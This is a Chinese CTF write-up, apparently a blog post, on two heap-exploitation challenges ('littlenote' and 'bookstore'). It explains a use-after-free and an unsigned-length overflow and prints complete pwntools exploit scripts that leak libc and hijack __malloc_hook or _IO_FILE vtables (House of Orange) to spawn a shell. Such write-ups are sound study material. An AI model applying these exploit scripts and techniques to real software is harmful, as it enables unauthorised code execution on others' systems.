热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

信息安全铁人三项赛真题解析_信息安全铁人三项赛二进制部分题解

2018-2019赛季littlenotechecksecmenu()main()增、删、查四个功能,并且保护基本全开。add()这里需要注意的就是,至

2018-2019赛季

little note

checksec

menu()

main()

增、删、查四个功能,并且保护基本全开。

add()

这里需要注意的就是,至多0xF个note并且大小固定0x60,创建完成后会问是否保留,若不保留的话会free掉当前note并创建一个0x20的备份。

show()

free()

freenote()有个UAF。

利用思路:这里有个很巧妙的方法,就是第一次利用UAF leak出heap地址,第二次利用UAF将fd改到某个堆块中间申请到该地址溢出修改下一chunk的size,free掉它利用UAF leak libc,第三次UAF依旧是fastbin attack

leak heap:

需要注意的是,不要delete(0)、delete(1)、show(1),这样leak不出来。

###leak heap###

add('leakaaaa','Y')#0

add('leakbbbb','Y')#1

add('leakcccc','Y')#2

add('leakdddd','Y')#3

add('leakeeee','Y')#4

delete(1)

delete(2)

show(2)

p.recv()

heap = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x70

log.success('heap:'+hex(heap))

leak libc:

上图讲了一下每个chunk的作用,初始我们是申请了5个chunk。

现在Double Free chunk1:

修改FD:

这里需要注意,我决定选择120,那么就要在118伪造好size。

Overflow to modify size:

可以看到chunk的size已经被修改了,其实现在哪个chunk对应的下标我有点混,不过不怕,看fd,是当时创建chunk写入的内容,找到对应下标。

其实按照顺序来应该是chunk8,但是free的话会报invaild next size.

###leak libc###

delete(1)

fake_chunk = heap + 0x0e0 + 0x30 + 0x10

over_chunk = heap + 0x150

add(p64(fake_chunk),'Y')#chunk1 5

payload = 'A' * 0x30 + p64(0) + p64(0x7f)

add(payload,'Y')#overflow 2 6

add('Nothing','Y')#1 7

payload = 'B' * 0x20 + p64(0) + p64(0xe1)

add(payload,'Y')#fake_chunk to overflow

delete(3)

show(3)

offset = 0x7f2f41f79b78 - 0x7f2f41bb5000

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88 - offset

get shell:

接下来就简单了,常规的劫持__malloc_hook

#! /usr/bin/python

from pwn import *

from LibcSearcher import *

p = process('./littlenote')

elf = ELF('./littlenote')

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

#context.log_level = 'debug'

def add(cont,choice):

p.recvuntil('Your choice:')

p.sendline('1')

p.recvuntil('note')

p.send(cont)

p.recvuntil('?')

p.sendline(choice)

def show(idx):

p.recvuntil('Your choice:')

p.sendline('2')

p.recvuntil('?')

p.sendline(str(idx))

def delete(idx):

p.recvuntil('Your choice:')

p.sendline('3')

p.recvuntil('?')

p.sendline(str(idx))

###leak heap###

add('leakaaaa','Y')#0

add('leakbbbb','Y')#1

add('leakcccc','Y')#2

add('leakdddd','Y')#3

add('leakeeee','Y')#4

delete(1)

delete(2)

show(2)

p.recv()

heap = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x70

log.success('heap:'+hex(heap))

###leak libc###

delete(1)

fake_chunk = heap + 0x0e0 + 0x30 + 0x10

over_chunk = heap + 0x150

add(p64(fake_chunk),'Y')#chunk1 5

payload = 'A' * 0x30 + p64(0) + p64(0x7f)

add(payload,'Y')#overflow 2 6

add('Nothing','Y')#1 7

payload = 'B' * 0x20 + p64(0) + p64(0xe1)

add(payload,'Y')#fake_chunk to overflow

delete(3)

show(3)

offset = 0x7f2f41f79b78 - 0x7f2f41bb5000

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88 - 0x3c4b20

log.success('libc:'+hex(libc_base))

###get shell###

malloc_hook = libc_base + libc.symbols['__malloc_hook']

fake_chunk = malloc_hook - 0x23

one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

one_gadget = libc_base + one_gadget[2]

delete(1)

delete(2)

delete(1)

add(p64(fake_chunk),'Y')

add('get shell','Y')

add('get shell','Y')

payload = 'A' * 0x13 + p64(one_gadget)

add(payload,'Y')

###get shell###

p.interactive()

bookstore

main()

从主函数看得出来有整、删、查的功能,看一下。

addbook()

一共最多16个book,每个大小不得大于0x50,跟进一下readn:

readn

无符号数,只要传入0就可以溢出。

sellbook()

readbook()

思路1:

溢出修改next chunk size来leak libc,House of Orange 劫持 _IO_FILE_PLUS.vtable

思路2:

溢出修改next chunk size来leak libc,溢出fastbin attack 劫持 修改ret。

先看第一种:

leak libc

这里需要注意一下,图示申请的chunk大小是0x21(包括头)。

这里注意了,我不知道为什么,后面的chunk要0x40,不然会报Double Free.

修改chunk size使其进入unsorted bin中,申请另外的chunk切割它得到libc。

###leak libc###

add(0,'a'*0x10)#0

add(0x40,'b'*0x10)#1

add(0x40,'c'*0x10)#2

add(0x40,'d'*0x10)#3

delete(0)

payload = 'A' * 0x10 + p64(0) + p64(0xa1)

add(0,payload)#overwrite chunk 1

delete(1)

add(0x20,'aaaaaaaa')#1

show(1)

p.recvuntil('aaaaaaaa')

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 232 - 0x3c4b20

log.success('libc base:'+hex(libc_base))

House of Orange – — FSOP

在这里再简单的提一下:

malloc_printerr—>__libc_message—>abort—>_IO_flush_all_lockup—>_IO_overflow

这是一整条调用链,我们可以利用unsorted bin attack将_IO_list_all改为main_arena+88,然后修改原top chunk的size为0x61,然后伪造一整个_IO_FILE结构,并修改vatle指针为_IO_str_jump。

需要注意_IO_str_jump不是导出符号,不能用pwntools直接计算。

#! /usr/bin/python

from pwn import *

#p = process('./bookstore',env={"LD_PRELOAD":"./libc_64.so"})

p = process('./bookstore')

elf = ELF('./bookstore')

libc = ELF('./libc_64.so')

#context.log_level = 'debug'

def add(size,cont):

p.recvuntil('Your choice:')

p.sendline('1')

p.recvuntil('What is the author name?')

p.sendline('Railgun')

p.recvuntil('How long is the book name?')

p.sendline(str(size))

p.recvuntil('What is the name of the book?')

p.sendline(cont)

def delete(idx):

p.recvuntil('Your choice:')

p.sendline('2')

p.recvuntil('?')

p.sendline(str(idx))

def show(idx):

p.recvuntil('Your choice:')

p.sendline('3')

p.recvuntil('?')

p.sendline(str(idx))

###leak libc###

add(0,'a'*0x10)#0

add(0x40,'b'*0x10)#1

add(0x40,'c'*0x10)#2

add(0x40,'d'*0x10)#3

#gdb.attach(p)

delete(0)

payload = 'A' * 0x10 + p64(0) + p64(0xa1)

add(0,payload)#overwrite chunk 1

delete(1)

add(0,'aaaaaaaa')#1

show(1)

p.recvuntil('aaaaaaaa')

main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))- 232

libc_base =main_arena - 0x3c4b20

log.success('libc base:'+hex(libc_base))

###House Of Orange###

system = libc_base+libc.symbols['system']

sh = libc_base + libc.search("/bin/sh").next() + 0x40

io_list_all = libc_base + libc.symbols['_IO_list_all']

io_str_jump = libc_base + libc.symbols['_IO_file_jumps']+0xc0

#stream = 'A' * 0x10 #overflow

stream = p64(0) + p64(0x61)

stream += p64(0) + p64(io_list_all-0x10) #unsorted bin attack

stream &#43;&#61; p64(0) &#43; p64(1) # _IO_write_base <#_IO_write_ptr

stream &#43;&#61; p64(0) &#43; p64(sh)

stream &#43;&#61; p64(0) * 19

stream &#43;&#61; p64(io_str_jump-8) # str_jump

stream &#61; stream.ljust(0xe8,&#39;\x00&#39;)

stream &#43;&#61; p64(system) # fp&#43;0xe8&#61;system

add(0,&#39;A&#39;*0x10&#43;stream)

#gdb.attach(p)

###get shell###

p.sendline(&#39;1&#39;)

p.sendline(&#39;1&#39;)

p.sendline(&#39;1&#39;)

p.interactive()



推荐阅读
  • Linux环境变量函数getenv、putenv、setenv和unsetenv详解
    本文详细解释了Linux中的环境变量函数getenv、putenv、setenv和unsetenv的用法和功能。通过使用这些函数,可以获取、设置和删除环境变量的值。同时给出了相应的函数原型、参数说明和返回值。通过示例代码演示了如何使用getenv函数获取环境变量的值,并打印出来。 ... [详细]
  • CSS3选择器的使用方法详解,提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法,包括属性选择器的使用。通过CSS3选择器,可以提高Web开发的效率和精准度,使得查找元素更加方便和快捷。同时,本文还对属性选择器的各种用法进行了详细解释,并给出了相应的代码示例。通过学习本文,读者可以更好地掌握CSS3选择器的使用方法,提升自己的Web开发能力。 ... [详细]
  • 重入锁(ReentrantLock)学习及实现原理
    本文介绍了重入锁(ReentrantLock)的学习及实现原理。在学习synchronized的基础上,重入锁提供了更多的灵活性和功能。文章详细介绍了重入锁的特性、使用方法和实现原理,并提供了类图和测试代码供读者参考。重入锁支持重入和公平与非公平两种实现方式,通过对比和分析,读者可以更好地理解和应用重入锁。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 在Android开发中,使用Picasso库可以实现对网络图片的等比例缩放。本文介绍了使用Picasso库进行图片缩放的方法,并提供了具体的代码实现。通过获取图片的宽高,计算目标宽度和高度,并创建新图实现等比例缩放。 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 本文讨论了在Spring 3.1中,数据源未能自动连接到@Configuration类的错误原因,并提供了解决方法。作者发现了错误的原因,并在代码中手动定义了PersistenceAnnotationBeanPostProcessor。作者删除了该定义后,问题得到解决。此外,作者还指出了默认的PersistenceAnnotationBeanPostProcessor的注册方式,并提供了自定义该bean定义的方法。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 本文讨论了clone的fork与pthread_create创建线程的不同之处。进程是一个指令执行流及其执行环境,其执行环境是一个系统资源的集合。在调用系统调用fork创建一个进程时,子进程只是完全复制父进程的资源,这样得到的子进程独立于父进程,具有良好的并发性。但是二者之间的通讯需要通过专门的通讯机制,另外通过fork创建子进程系统开销很大。因此,在某些情况下,使用clone或pthread_create创建线程可能更加高效。 ... [详细]
  • 本文介绍了机器学习手册中关于日期和时区操作的重要性以及其在实际应用中的作用。文章以一个故事为背景,描述了学童们面对老先生的教导时的反应,以及上官如在这个过程中的表现。同时,文章也提到了顾慎为对上官如的恨意以及他们之间的矛盾源于早年的结局。最后,文章强调了日期和时区操作在机器学习中的重要性,并指出了其在实际应用中的作用和意义。 ... [详细]
  • 本文讨论了如何使用IF函数从基于有限输入列表的有限输出列表中获取输出,并提出了是否有更快/更有效的执行代码的方法。作者希望了解是否有办法缩短代码,并从自我开发的角度来看是否有更好的方法。提供的代码可以按原样工作,但作者想知道是否有更好的方法来执行这样的任务。 ... [详细]
  • 浏览器中的异常检测算法及其在深度学习中的应用
    本文介绍了在浏览器中进行异常检测的算法,包括统计学方法和机器学习方法,并探讨了异常检测在深度学习中的应用。异常检测在金融领域的信用卡欺诈、企业安全领域的非法入侵、IT运维中的设备维护时间点预测等方面具有广泛的应用。通过使用TensorFlow.js进行异常检测,可以实现对单变量和多变量异常的检测。统计学方法通过估计数据的分布概率来计算数据点的异常概率,而机器学习方法则通过训练数据来建立异常检测模型。 ... [详细]
  • 本文介绍了Python爬虫技术基础篇面向对象高级编程(中)中的多重继承概念。通过继承,子类可以扩展父类的功能。文章以动物类层次的设计为例,讨论了按照不同分类方式设计类层次的复杂性和多重继承的优势。最后给出了哺乳动物和鸟类的设计示例,以及能跑、能飞、宠物类和非宠物类的增加对类数量的影响。 ... [详细]
  • VueCLI多页分目录打包的步骤记录
    本文介绍了使用VueCLI进行多页分目录打包的步骤,包括页面目录结构、安装依赖、获取Vue CLI需要的多页对象等内容。同时还提供了自定义不同模块页面标题的方法。 ... [详细]
author-avatar
airchampion
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有